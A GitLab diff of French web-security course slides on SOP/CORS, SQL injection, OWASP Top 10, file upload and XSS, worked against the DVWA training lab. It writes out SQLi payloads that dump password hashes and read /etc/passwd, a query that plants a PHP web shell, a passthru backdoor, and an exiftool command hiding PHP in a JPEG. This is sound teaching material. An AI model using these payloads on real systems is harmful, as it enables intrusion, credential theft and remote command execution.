Skip to content
Snippets Groups Projects

Compare revisions

Changes are shown as if the source revision was being merged into the target revision. Learn more about comparing revisions.

Source

Select target project
No results found

Target

Select target project
  • vimazeno/blog.limos.fr
  • matrossevi/blog.limos.fr
  • borlonjo/blog.limos.fr
3 results
Show changes
Showing
with 1701 additions and 83 deletions
# SOP / CORS / CORB
## a.k.a Same Origin Policy / Cross Origin Resource Sharing / Cross-Origin Read Blocking
### <i class="fa fa-medkit"></i> **SOP** / Same Origin Policy
* https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
* restreint les interactions aux ressources de même origine
* protocole + "://" + hôte + ":" + [port]
* concerne `<script>`, `<link>`, `<img>`, `<video>`, `<audio>`, `<object>`, `<embed>`, `@font-face`, `<iframe>`
### <i class="fa fa-medkit"></i> **SOP** / Same Origin Policy
protège l'intégrité de la page
```js
fetch('http://bad-guy.com/data.php')
.then((DOMResponse) => {
document
.getElementById("particualr-div")
.appendChild(DOMResponse);
});
```
![SOP](images/xss/sop.png "SOP")<!-- .element style="text-align: center" -->
### <i class="fa fa-medkit"></i> **SOP** / Same Origin Policy
protège la confidentialité des sessions
```js
fetch('https://gmail.com')
.then((sensitiveData) => {
fetch('https://gmail.com', {
method: 'POST',
body: JSON.stringify({
data: sensitiveData,
}),
headers: {
'Content-type': 'application/json; charset=UTF-8',
}
})
});
```
### <i class="fa fa-medkit"></i> **CORS** / Cross Origin Resource Sharing
* contrôler les accès en mode cross-site
* concerne l'échange entre fournisseurs de services
* effectuer des transferts de données sécurisés
* entre sources sûres niveau injection & confidentialité
### <i class="fa fa-medkit"></i> **CORS** / Cross Origin Resource Sharing
le client ajoute automatiquement une en-tête HTTP
```http
Origin: http://www.foo.com
```
le serveur doit ajouter une en tête HTTP d'autorisation pour le domaine
```http
Access-Control-Allow-Origin: http://www.foo.com
```
en-tête d'autorisation pour tous les domaines
```http
Access-Control-Allow-Origin: *
```
### <i class="fa fa-medkit"></i> **CORS** / Cross Origin Resource Sharing
* autorise tous les verbes HTTP
* [JSONP](http://igm.univ-mlv.fr/~dr/XPOSE2009/ajax_sop_jsonp/jsonp_presentation.html) n'autorisait que la méthode GET
* [<i class="fab fa-stack-overflow"></i> Disable firefox same origin policy](http://stackoverflow.com/questions/17088609/disable-firefox-same-origin-policy)
Note:
- l'introduction de cette nouvelle possibilité implique nécessairement que les serveurs doivent gérer de nouvelles entêtes, et doivent renvoyer les ressources avec de nouvelles entêtes également
- doit être supporté par le navigateur
- la valeur * est possible mais risquée
- requêtes simples, pré-vérifiées avec le verbe OPTIONS, avec habilitations en forcant l'envoie du cookie
### <i class="fa fa-medkit"></i> **CORB** / Cross-Origin Read Blocking
contrôle la cohérence du type MIME avec la balise appelante
* https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md
* https://dev.to/ms_74/what-is-corb-3m3f
\ No newline at end of file
# Injection SQL
## aka SQLi
![SQLi](images/sqli/sqlinjection_comics.png "SQLi")
### <i class="fa fa-cogs"></i> SQLi
* envoie de données à un interpréteur
* l'attaquant envoie des séquences de texte malicieuses permettant d'exploiter l'interpréteur visé (**payload**)
* toute source de données peut être utilisées
* paramètres HTTP, PATH_INFO,`cookies, en-têtes HTTP, fichiers uploadés
* au niveau de la requête [et de la réponse <i class="fab fa-reddit"></i>](http://i.imgur.com/8khrzf9.png)
### <i class="fas fa-ice-cream"></i> SQLi / types
* [topologie](https://www.imperva.com/learn/application-security/sql-injection-sqli/#:~:text=SQL%20injections%20typically%20fall%20under,data%20and%20their%20damage%20potential)
* [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
* cas simple où les messages d'erreur base de données sont affichés
* [SQL Injection (Blind)](https://owasp.org/www-community/attacks/Blind_SQL_Injection)
* cas plus complexe où les messages d'erreur base de données **ne** sont **pas** accessibles
* Un comportement différent selon que la **payload** est exécutée ou non
### <i class="fa-solid fa-bomb"></i> SQLi / payloads
* lire des données "protégées"
* corrompre des données
* dénis de services
* lecture / écriture sur le système de fichiers
* exécution de commandes arbitraires
### <i class="fa-solid fa-bomb"></i> SQLi / low
* détectable en tentant les caractères d'échappement **"** ou **'** en
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=%27&Submit=Submit#)</small>
* L'idée est d'utiliser les commentaires **#** ou **--** pour terminer prématurément l'exécution du SQL
```
User ID: ' OR 1=1 #
```
* affiche la liste de tous les utilisateurs
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#)</small>
<i class="fa-solid fa-bullseye"></i> on cherche les mots de passe des utilisateurs
### <i class="fa-solid fa-bomb"></i> SQLi / low
déterminer le nombre de paramètres de la requêtes
```
User ID: ' OR 1=1 ORDER BY 1 #
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#](https://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#)</small>
<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#](https://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#)</small>
<i class="fa-solid fa-trophy"></i> il y a 2 champs dans la clause SELECT
### <i class="fa-solid fa-bomb"></i> SQLi / low
repérer qui est qui?
```
User ID: 6' UNION SELECT 1,2 #
```
```
First name: 1
Surname: 2
```
afficher la base de données et l'utilisateur courant
```
User ID: 6' UNION SELECT database(),current_user() #
```
```
First name: dvwa
Surname: dvwa@localhost
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#)</small>
<i class="fa-solid fa-book-skull"></i> **UNION** ou **Cross table**
### <i class="fa-solid fa-bomb"></i> SQLi / low
afficher toutes les tables de la base de données `dvwa` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
```
User ID: 6' UNION SELECT table_name,2
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'dvwa' #
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+table_name%2C2+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small>
### <i class="fa-solid fa-bomb"></i> SQLi / low
afficher les noms de colonnes de la tables `users` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
```
User ID: 6' UNION SELECT column_name,2
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = 'dvwa' #
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+column_name%2C2++++FROM+INFORMATION_SCHEMA.COLUMNS++++WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small>
### <i class="fa-solid fa-bomb"></i> SQLi / low
afficher les champs `user` & `password` de la table `users`
```
User ID: 6' UNION SELECT user,password FROM users #
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#)</small>
<i class="fa-solid fa-screwdriver-wrench"></i> [crackstation.net](https://crackstation.net/) pour une **rainbow attack** ou attaque par **tables arc-en-ciel**
### <i class="fa-solid fa-bomb"></i> SQLi / medium
![select2input](images/sqli/select2input.png "select2input")
détection
```
User ID: ' OR 1=1 #
```
<i class="fa-solid fa-circle-xmark"></i> a priori les **'** sont échappés
### <i class="fa-solid fa-bomb"></i> SQLi / medium
```
User ID: 1 OR 1=1 #
```
<i class="fas fa-circle-check"></i> le paramètre id est un entier
reprendre les étapes SQLi / low en remplacant
```
User ID: 6' ... #
```
<i class="fa-solid fa-arrow-right-arrow-left"></i>
```
User ID: 6 ... #
```
<small>
`TABLE_SCHEMA = 'dvwa'`
<i class="fa-solid fa-arrow-right-arrow-left"></i>
`TABLE_SCHEMA = CHAR(100,118,119,97)`
</small>
### <i class="fa-solid fa-bomb"></i> SQLi / high
Toute la séquence SQLi / low est valide
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
* plus de message d'erreur
* plus d'affichage des champs
* identifier les comportements
```
User ID: 1
```
```
User ID exists in the database.
```
```
User ID: 6
```
```
User ID is MISSING from the database.
```
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
* identifier les comportements
* on sait que l'utilisateur 1 existe
```
User ID: 1' AND '1' = '2' #
```
```
User ID is MISSING from the database.
```
```
User ID: 1' AND '1' = '1' #
```
```
User ID exists in the database.
```
<i class="fa-solid fa-trophy"></i> il y a une injection
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
déterminer le nom de la base de données
```
1' AND ORD(MID(DATABASE(),1,1)) = 100 #
```
* `DATABASE()` : renvoie la chaîne "dvwa"
* `MID(DATABASE(),1,1)` : renvoie le première caractère de la chaîne retournée par `DATABASE()`
* `ORD()` : renvoie l'équivalent décimal du caractère en paramètre
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
déterminer le nombre de caractère dans le nom de la base de données
```
1' AND LENGTH(DATABASE()) = 4 #
```
déterminer le nom de la base de données
```
1' AND ORD(MID(DATABASE(),1,1)) = 100 # d
1' AND ORD(MID(DATABASE(),2,1)) = 118 # v
1' AND ORD(MID(DATABASE(),3,1)) = 119 # w
1' AND ORD(MID(DATABASE(),4,1)) = 97 # a
```
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
déterminer le nom de la table
```
1' AND ORD(MID((SELECT table_name
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='dvwa' LIMIT 0,1),1,1)) = 103 # g
```
déterminer le nombre de colonne de la table users
```
1' AND ORD(MID((SELECT COUNT(column_name)
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='users'
AND table_schema='dvwa'),1,1)) = 56 # 8 -> 56 => 8
```
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
déterminer le nom des colonnes de la table users
```
1' AND ORD(MID((SELECT column_name
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='users'
AND table_schema='dvwa' LIMIT 4,1),1,1)) = 112 # p
```
déterminer le hash d'un user
```
1' AND ORD(MID((SELECT password FROM dvwa.users
WHERE user='Pablo'),1,1)) = 48 # 0
```
### <i class="fa-solid fa-bomb"></i> Blind SQLi / medium
reprendre les étapes Blind SQLi / low en remplacant
```
User ID: 1' ... #
```
<i class="fa-solid fa-arrow-right-arrow-left"></i>
```
User ID: 1 ... #
```
<small>
`table_schema='dvwa'`
<i class="fa-solid fa-arrow-right-arrow-left"></i>
`table_schema=0x64767761`
</small>
### <i class="fa-solid fa-bomb"></i> Blind SQLi / high
Toute la séquence Blind SQLi / low est valide
### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based
* Si aucun output n'est disponible
* on ajoute du calcul artificiellement
* la **payload** est exécutée
* le temps de réponse = temps de traitement + temps de calcul artificiel
* la **payload** n'est pas exécutée
* le temps de réponse = temps de traitement
problématique similaire à une booléenne
### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based
```
User ID: 1' AND 1=0 UNION SELECT NULL,
benchmark(5000000, encode('MSG', 'pass-phrase'))
FROM users #
```
* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
* DoS
* utile pour les **True Blind SQLi** ou **Time Based**
### <i class="fa-solid fa-bomb"></i> SQLi / Low
<i class="fa-solid fa-triangle-exclamation"></i> sous certaines conditions
```
User ID: 6' UNION SELECT NULL, LOAD_FILE("/etc/passwd") #
```
affiche tout le contenu du fichier /etc/passwd
```
User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>"
INTO DUMPFILE "/var/www/DVWA/hackable/uploads/shell.php" #
```
écrit le fichier shell.php dans le système de fichiers
### <i class="fa-solid fa-screwdriver-wrench"></i> SQLi / Low / SQLmap
* [SQLmap](http://sqlmap.org/) Fait tous le boulot à votre palce
* en ligne de commmande
* affiche des résultats propres
* abstrait
* le moteur de base de données
* les différentes techniques d'injections
```http
sqlmap --url "https://dv.wa/vulnerabilities/sqli/?id= #;"
--cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low"
--tables
```
<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session
### <i class="fa fa-medkit"></i> SQLi / Se préserver
* [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php)
* Utiliser des requêtes préparées
* PDO, ORM : Doctrine2, Propel
* Être le plus silencieux possibles quant aux requêtes invalides
* [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php)
* [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php)
* Repérer les requêtes suspectes dans les logs
Note:
- TODO regarder si les messages sont désactiables à partir de MySQL
### <i class="fa fa-medkit"></i> SQLi / Se préserver
* Filtrage par listes blanches
* caster
* [intval()](http://php.net/manual/fr/function.intval.php), [floatval()](http://php.net/manual/fr/function.floatval.php), ...
* si l'id est toujours un entier ...
* échappement des paramètres de requêtes
* [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
### <i class="fa fa-medkit"></i> SQLi / Se préserver
* Web Application Firewall (WAF)
* [mod_security](https://www.modsecurity.org/)
* <i class="fas fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
* Les privilèges de l'utilisateur SQL ont un sens
* [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file)
* attention aux permissions sur la base de données
* information_schema ...
* Changer les préfixes de table des CMS quand c'est possible
## [Owasp top 10 (2013)](https://www.owasp.org/index.php/Top_10_2013-Top_10)
#### <i class="fa fa-file-pdf-o"></i> [FR](http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20French.pdf)
### <i class="fa fa-book"></i> [All Attack types](https://www.owasp.org/index.php/Category:Attack)
## [Owasp top 10 (2013)](https://www.owasp.org/index.php/Top_10_2013-Top_10)
1. [Injection](https://www.owasp.org/index.php/Top_10_2013-A1-Injection)
2. [Broken Authentication and Session Management](https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management)
3. <a href="https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)">Cross-Site Scripting (XSS)</a>
4. [Insecure Direct Object References](https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References)
5. [Security Misconfiguration](https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration)
6. [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure)
7. [Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)
8. <a href="https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)">Cross-Site Request Forgery (CSRF)</a>
9. [Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities)
10. [Unvalidated Redirects and Forwards](https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards)
## [Owasp top 10 (2017)](https://www.owasp.org/index.php/Top_10-2017_Top_10)
1. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection)
2. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Broken Authentication and Session Management](https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication)
3. [<i class="fa fa-hand-o-up" aria-hidden="true"></i> Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure)
4. <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)"><i class="fa fa-hand-peace-o" aria-hidden="true"></i> XML External Entities (XXE)</a>
5. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Broken Access Control](https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control)
6. [<i class="fa fa-hand-o-down" aria-hidden="true"></i> Security Misconfiguration](https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration)
7. <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)"><i class="fa fa-hand-o-down" aria-hidden="true"></i> Cross-Site Scripting (XSS)</a>
8. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Insecure Deserialization](https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization)
9. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities)
10. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Insufficient Logging&Monitoring](https://www.owasp.org/index.php/Top_10-2017_A10-Insufficient_Logging%26Monitoring)
## Répartition par Attaques
![Relative Portions of Each Attack Type](images/top10/Relative_Portions_of_Each_Attack_Type.png "Relative Portions of Each Attack Type")
[source IMPERVA](http://www.imperva.com/docs/HII_Web_Application_Attack_Report_Ed4.pdf)
## Répartition par Attaques
* Cross-site scripting (XSS)
* SQL injection (SQLi)
* Remote File Inclusion (RFI)
* Local File Inclusion (LFI)
* Email extraction (EmExt)
* Directory traversal (DT)
* Comment Spamming (ComSpm)
<!-- https://www.whitehatsec.com/resource/stats.html -> owncloud/ssi/2015-Stats-Report.pdf to print -->
<!-- http://www.symantec.com/security_response/publications/threatreport.jsp -->
<!-- http://www.zdnet.fr/actualites/cybersecurite-a-quoi-s-attendre-dans-les-mois-qui-viennent-39822112.htm -->
## Autres top 10 ...
### <i class="fa fa-mobile"></i> [Top 10 - Mobile security](https://www.owasp.org/index.php/OWASP_Mobile_Security_Project#tab=Top_10_Mobile_Risks)
### <i class="fa fa-wordpress"></i> <i class="fa fa-drupal"></i> [Top 10 des failles de sécurité des CMS](http://www.cms.fr/articles/525-top-10-des-failles-de-securite-des-cms.html)
# upload
## aka chmod -R 777
## Upload de fichier
* Risque
* Upload de code arbitraire
* Backdoor ou Remote shell
### <i class="fas fa-cogs"></i> Upload de fichier
* Deux problèmes
* filtrage des types de fichiers uploadés
* exposition / exécution des scripts au niveau du répertoire d'upload
* Risque
* Upload de code arbitraire
* Backdoor ou Remote shell
## Upload de fichier
### <i class="fas fa-cogs"></i> Upload de fichier
* Configurations liées à l'upload à différents endroits
* HTML (côté client)
......@@ -29,115 +30,130 @@ Note:
- pas d'upload ... FTP, WebDav (utilise les verbs HTTP)
### [security low](http://dv.wa/vulnerabilities/upload/)
### <i class="fa-solid fa-bomb"></i> Upload / low
Upload d'un fichier bd.php simple
```php
echo passthru($_REQUEST['cmd'])
```
```php
print_r($&lowbar;FILES);
/*
* ici 2 fichiers uploadés
*/
array(1) {
["uploaded"]=>array(2) {
["name"]=>array(2) {
[0]=>string(9)"file0.txt"
[1]=>string(9)"file1.txt"
}
["type"]=>array(2) {
[0]=>string(10)"text/plain"
[1]=>string(10)"text/html"
}
}
}
sudo chown -R www-data /var/www/DVWA/hackable/uploads
```
Upload d'un fichier bd.php simple
### [security low](http://dv.wa/vulnerabilities/upload/)
```php
<?php
echo passthru($_REQUEST['cmd']);
```
* Trouver le répertoire d'upload
* chemins connus dans produits connus
* code source HTML faisant référence au fichier uploadé
[http://dv.wa/hackable/uploads/bd.php](http://dv.wa/hackable/uploads/bd.php)
```
../../hackable/uploads/bd.php succesfully uploaded!
```
### <i class="fa-solid fa-bomb"></i> Upload / $_FILES
### [security medium](http://dv.wa/vulnerabilities/upload/)
```
cd /var/www/DVWA/vulnerabilities/upload/
vi source/low.php
```
```php
$_FILES['uploaded']['type']
print_r($_FILES);
Array (
[uploaded] => Array (
[name] => bd.php
[type] => application/x-php
[tmp_name] => /tmp/phpPU0gay
[error] => 0
[size] => 39
)
)
```
* Filtrer par type mime
* déduit de l'entête HTTP *Content-Type* de la requête HTTP envoyant le fichier
* fakable
* [mime_content_type](http://php.net/manual/fr/function.mime-content-type.php)
* [exif_imagetype](http://php.net/manual/fr/function.exif-imagetype.php)
* [finfo_file](http://php.net/manual/fr/function.finfo-file.php)
* [getimagesize](http://php.net/manual/fr/function.getimagesize.php)
### <i class="fa-solid fa-bomb"></i> Upload / security medium
* contrôle de l'entête HTTP *Content-Type* renvoyé par le navigateur
### [security medium](http://dv.wa/vulnerabilities/upload/)
![content-type](images/upload/content-type.png "content-type")
bd.php
```php
echo passthru($_REQUEST['cmd'])
### <i class="fa-solid fa-bomb"></i> Upload / security high
![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 120px" -->
* visionner le "Comment" du jpg avec [exiftool](http://www.sno.phy.queensu.ca/~phil/exiftool/) + [<i class="fa fa-gift"></i>](http://www.gamergen.com/actualites/insolites-hacker-arrete-pour-poitrine-copine-93809-1)
* modifier le champs comment with exiftool
```
exiftool ~/Downloads/kitten.jpg \
-comment="<?php echo passthru(\$_REQUEST['cmd']); __halt_compiler();?>"
```
| Command | Output |
| --------------------------- |:------------------:|
| $_FILES['uploaded']['type'] | application/x-php |
| mime_content_type | text/x-php |
| exif_imagetype | null (no image) |
| finfo_file | text/x-php |
| getimagesize[2] | null (no image) |
<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
Code uploadé :)
### [security medium](http://dv.wa/vulnerabilities/upload/)
### <i class="fa-solid fa-bomb"></i> Upload / security high
<small style="float: left">[lego.jpeg](images/upload/lego.jpeg)</small>
code non exécuté :(
[![lego](images/upload/lego.jpeg "lego")<!-- .element style="width: 50px" -->](images/upload/lego.jpeg)
on doit passer par une autre vulnérabilité
| Command | Output |
| --------------------------- |:------------------:|
| $_FILES['uploaded']['type'] | image/jpeg |
| mime_content_type | image/jpeg |
| exif_imagetype | 2 (IMAGETYPE_JPEG) |
| finfo_file | image/jpeg |
| getimagesize[2] | image/jpeg |
<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
* [CMDi](cmdi.html) pour renommer `kitten.jpg` en `kitten.php`
* [LFI](fi.html) pour inclure la payload contenu dans `kitten.jpg`
ou `cp kitten.jpg kitten.php` ;)
### [security medium](http://dv.wa/vulnerabilities/upload/)
* [kitten.jpg.php](images/upload/kitten.jpg.php)
### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles
![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 250px" -->
db.php
* visionner le "Comment" du jpg avec [exiftool](http://www.sno.phy.queensu.ca/~phil/exiftool/) + [<i class="fa fa-gift"></i>](http://www.gamergen.com/actualites/insolites-hacker-arrete-pour-poitrine-copine-93809-1)
```php
echo passthru($_REQUEST['cmd'])
```
| <small>Command</small> | <small>Output</small> |
| --------------------------------------------------------------------------------------------- |:---------------------------------:|
| <small>$_FILES['uploaded']['type']</small> | <small>application/x-php</small> |
| [<small>mime_content_type</small>](http://php.net/manual/fr/function.mime-content-type.php) | <small>text/x-php</small> |
| [<small>exif_imagetype</small>](http://php.net/manual/fr/function.exif-imagetype.php) | <small>null (no image)</small> |
| [<small>finfo_file</small>](http://php.net/manual/fr/function.finfo-file.php) | <small>text/x-php</small> |
| [<small>getimagesize[2]</small>](http://php.net/manual/fr/function.getimagesize.php) | <small>null (no image)</small> |
<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
### [security medium](http://dv.wa/vulnerabilities/upload/)
<small style="float: left">[kitten.jpg.php](images/upload/kitten.jpg.php)</small>
### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles
[![lego](images/upload/lego.jpeg "lego")<!-- .element style="width: 50px" -->](images/upload/lego.jpeg)
<small>[lego.jpeg](images/upload/lego.jpeg)</small>
| <small>Command</small> | <small>Output</small> |
| --------------------------------------------------------------------------------------------- |:-------------------------:|
| <small>$_FILES['uploaded']['type']</small> | <small>image/jpeg</small> |
| [<small>mime_content_type</small>](http://php.net/manual/fr/function.mime-content-type.php) | <small>image/jpeg</small> |
| [<small>exif_imagetype</small>](http://php.net/manual/fr/function.exif-imagetype.php) | <small>2 (IMAGETYPE_JPEG) |
| [<small>finfo_file</small>](http://php.net/manual/fr/function.finfo-file.php) | <small>image/jpeg |
| [<small>getimagesize[2]</small>](http://php.net/manual/fr/function.getimagesize.php) | <small>image/jpeg |
<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 50px" -->
| Command | Output |
| --------------------------- |:------------------:|
| $_FILES['uploaded']['type'] | application/x-php |
| mime_content_type | image/jpeg |
| exif_imagetype | 2 (IMAGETYPE_JPEG) |
| finfo_file | image/jpeg |
| getimagesize[2] | null (no image) |
### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles
![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 50px" -->
<small>[kitten.jpg.php](images/upload/kitten.jpg.php)</small>
| <small>Command</small> | <small>Output</small> |
| -------------------------------------------------------------------------------------------- |:---------------------------------:|
| <small>$_FILES['uploaded']['type']</small> | <small>application/x-php</small> |
| [<small>mime_content_type</small>](http://php.net/manual/fr/function.mime-content-type.php) | <small>image/jpeg</small> |
| [<small>exif_imagetype</small>](http://php.net/manual/fr/function.exif-imagetype.php) | <small>2 (IMAGETYPE_JPEG)</small> |
| [<small>finfo_file</small>](http://php.net/manual/fr/function.finfo-file.php) | <small>image/jpeg</small> |
| [<small>getimagesize[2]</small>](http://php.net/manual/fr/function.getimagesize.php) | <small>null (no image)</small> |
<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
Note:
......@@ -189,10 +205,11 @@ deny from all
* Utiliser PHP pour lire les fichier avec [readfile](http://php.net/manual/fr/function.readfile.php)
* prendre en charge la génération des en-têtes **Content-Type** "manuellement"
* [<i class="fab fa-github"></i> igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle)
* [download center lite](http://www.stadtaus.com/fr/php_scripts/download_center_lite/)
* permet une meilleure gestion des accès par permission
* accès à la session courante
* [<i class="fa fa-github"></i> igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle)
Note:
- attention toute la stack Sf2 à chaque image ou asset c'est chaud
# XSS
## aka cross site script
### <i class="fas fa-cogs"></i> XSS
* Affichage de données utilisateur sans validation ou échappement
* oubli du développeur
* messages d'erreurs (BDD, ...)
* Tentative d'injection interprétable par le navigateur de la cible
* code javascript
* code HTML
### <i class="fas fa-cogs"></i> XSS
![Bob](images/xss/XSS-bob.png "Bob") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Site faille](images/xss/XSS-sitefaille.png "Site faille") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
1.Bob consulte la page faillible et repère une faille XSS
### <i class="fas fa-cogs"></i> XSS
![Bob](images/xss/XSS-bob.png "Bob") ![Scripts](images/xss/XSS-scripts.png "Scripts") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Serveur pirate](images/xss/XSS-serveurpirate.png "Serveur pirate")
2.Bob écrit une payload JS ou HTML qui récupère par exemple des informations utilisateurs et les envoie sur son serveur
**Il rend ce script accessible via le XSS qu'il a découvert sur la page faillible**
### <i class="fas fa-cogs"></i> XSS
![Bob](images/xss/XSS-bob.png "Bob") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Alice](images/xss/XSS-alice1.png "Alice")
3.Bob envoie l'url du XSS à Alice en l'incitant à cliquer sur un lien forgé (**XSS réfléchie**)
ou
3.attend simplement qu'elle se connecte à une page compromise (**XSS stockée**)
Note:
- test du XSS souvent alert ... méthode plus discrète notamment pour XSS stored
- console.log > alert
### <i class="fas fa-cogs"></i> XSS
![Alice](images/xss/XSS-alice2.png "Alice") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Site piégé](images/xss/XSS-sitepiege.png "Site piégé") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
4.Alice clique sur le lien forgé (**XSS réfléchie**)
ou
4.Alice consulte la page compromise et pense avoir à faire à l'originale (**XSS stockée**)
### <i class="fas fa-cogs"></i> XSS
![Alice](images/xss/XSS-alice2.png "Alice") ![Données utilisateur](images/xss/XSS-infos.gif "Données utilisateur") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Scripts](images/xss/XSS-scripts.png "Scripts") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
5.la page compromise exécute le payload JS de Bob
### <i class="fas fa-ice-cream"></i> XSS / types
* **reflected**
* aussi appelé réfléchie, non permanente
* **stored**
* aussi appelé stockée, permanente
* **DOM**
* aussi appelé DOM-based
